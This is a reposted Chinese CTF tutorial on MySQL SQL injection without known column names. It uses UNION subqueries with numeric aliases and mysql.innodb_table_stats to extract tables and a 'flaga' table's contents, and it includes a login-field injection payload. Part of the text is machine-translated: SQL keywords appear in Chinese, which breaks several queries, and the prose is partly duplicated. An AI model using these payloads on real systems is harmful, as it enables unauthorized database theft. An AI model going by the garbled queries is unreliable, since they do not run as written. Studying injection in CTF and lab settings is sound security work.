CTF常用sql注入(三)无列名注入,sql里面列名无效怎么办

CTF常用sql注入(三)无列名注入0x06 无列名
适用于无法正确的查出结果,比如把information_schema给过滤了
join
联合
select * from users;select 1,2,3 un

0x06 无列名

适用于未正确找到结果的情况,例如过滤information_schema。

join

联合

从用户中选择*。

select 1,2,3 Union select * from user;

列名称已替换为1、2、3。

然后使用子查询和别名来检查

select `2` from (select 1,2,3 Union select * from users)a;

不使用反引号继续增加难度

select b from (选择1 作为a, 2 作为b, 3 作为c * 组合用户的选择)u;

同时查询多列

select concat(b,0x7e,c) from (select 1 as a, 2 as b, 3 as c Union select * from user)u;

已知的表名称是flaga

密码=\\用户名=,用户名=(select a from (select 1,2 as a,6 Union select * from flaga limit 1,1)u)#

成功

0x07 InnoDb引擎

它还用于基于过滤查询表名。

innodb_index_stats 和innodb_table_stats 表

例如,它的缺点是只能用于搜索表,并且可以与没有列名的查询一起使用。

(从mysql.innodb_table_stats中选择group_concat(table_name),其中database_name=database())#

#CTF常见SQL注入(三) 以上有关私有注入的相关内容仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93234.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月5日 下午7:39
下一篇 2024年7月5日 下午7:58

相关推荐

  • 02,02国家队

    02 Spring Security 简介 背景分析 认证授权分析 Spring Security 概述 Spring Security 基本架构 Spring Security 快速入门 创建工程 添加项目依赖 创建配置文

    网站运维 2024年7月5日
    0
  • 女性资讯网,掌握最新娱乐资讯

    女性资讯网,掌握最新娱乐资讯 1. 引领潮流的女性资讯网络 女性资讯网作为专业资讯平台,致力于为女性提供最新、最快、最真实的娱乐资讯。我们提供娱乐行业各个方面的全面信息,从娱乐新闻…

    2024年5月2日
    0
  • 中级电工考试用什么编程

    中级电工考试通常涉及基础电工理论、电路设计、电子设备的维护与修复,以及电气安装。编程并不是中级电工考试的常规内容,但部分考试可能会要求了解PLC(可编程逻辑控制器)基础编程概念。在…

    网站运维 2024年5月12日
    0
  • ton智能合约地址,智能合约地址查询

    ton智能合约地址一切皆为智能合约​
    在TON上,智能合约是使用Actor模型构建的。实际上,在TON中的actor在技术上是以智能合约的形式表示的。这意味着,即使您的钱包也是一个简单的actor

    网站运维 2024年6月22日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注